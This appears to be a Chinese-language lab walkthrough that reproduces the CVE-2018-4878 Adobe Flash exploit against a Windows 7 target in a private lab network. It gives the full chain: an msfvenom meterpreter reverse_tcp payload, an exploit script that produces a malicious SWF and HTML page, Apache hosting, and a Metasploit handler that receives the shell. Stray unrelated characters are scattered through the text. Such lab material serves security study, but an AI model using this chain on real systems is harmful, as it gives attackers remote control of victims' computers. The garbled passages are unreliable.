攻擊者通過(guò)構(gòu)造特殊的 Flash 鏈接耗帕, 當(dāng)用戶用瀏覽器/郵件/Office 訪問(wèn)此Flash 鏈接時(shí), 會(huì)被“遠(yuǎn)程代碼執(zhí)行”, 并且直接被 getshell。
環(huán)境:
- 滲透機(jī) Kali Linux ip:192.168.43.177
- 靶機(jī) Windows 7 sp1 192.168.43.196
- exp:cve-2018-4878.py 來(lái)自https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019
- flash: flashplayeractivex28.0.0.137.exe 下載地址鏈接:https://pan.baidu.com/s/1dotCoCx0AX8sgUaOqFT9vw 密碼:0li0
實(shí)驗(yàn)步驟
一脖隶、kali 使用 msfvenom 生成 shell 代碼
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.177 lport=8888 -f python>shellcode.txt
msfvenom的用法可參考 http://www.reibang.com/p/dee2b171a0a0
下面是使用msfvenom的部分參數(shù),是比較常用的
-p 選擇一個(gè)payload
-l 載荷列表
-f 生成的文件格式
-e 編碼方式
-i 編碼次數(shù)
-b 在生成的程序中避免出現(xiàn)的值
-x 允許我們指定一個(gè)自定義的可執(zhí)行文件作為模板暇检,也就是將木馬捆綁到這個(gè)可執(zhí)行文件上产阱。
-h 幫助。
二块仆、生成swf和html
git clone https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019.git
使用上面生成的payload替換cve-2018-4878.py中的payload
image.png
更改輸出文件路徑
更改輸出文件的路徑
執(zhí)行cve-2018-4878.py构蹬,會(huì)生成兩個(gè)文件
python cve-2018-4878.py
生成的文件
開(kāi)啟apache,將生成的兩個(gè)文件拷貝到/var/www/html中
service apache2 start
cp index2.html /var/www/html/index2.html
cp exploit.swf /var/www/html/exploit.swf
kali開(kāi)啟監(jiān)聽(tīng)
#msfconsole啟動(dòng)
msfconsole
#使用handler監(jiān)聽(tīng)模塊
msf > use exploit/multi/handler
#回彈一個(gè)tcp連接
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
#設(shè)置kali滲透機(jī)的ip地址
msf exploit(handler) > set lhost 192.168.43.177
#設(shè)置監(jiān)聽(tīng)端口,這個(gè)需跟上面msfvenom設(shè)置的端口一致
msf exploit(handler) > set lport 8888
#開(kāi)啟監(jiān)聽(tīng)悔据,等待靶機(jī)上線
msf exploit(handler) > exploit
開(kāi)啟監(jiān)聽(tīng)
靶機(jī)安裝adobe flash player
image.png
訪問(wèn)http://192.168.43.177/index2.html
image.png
kali getshell成功
image.png
meterpreter用法可參考https://www.cnblogs.com/backlion/p/9484949.html
參考資料
https://blog.51cto.com/chenxinjie/2093653
https://github.com/HuanWoWeiLan/SoftwareSystemSecurity-2019/blob/master/%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A.md
https://www.cnblogs.com/backlion/p/9484949.html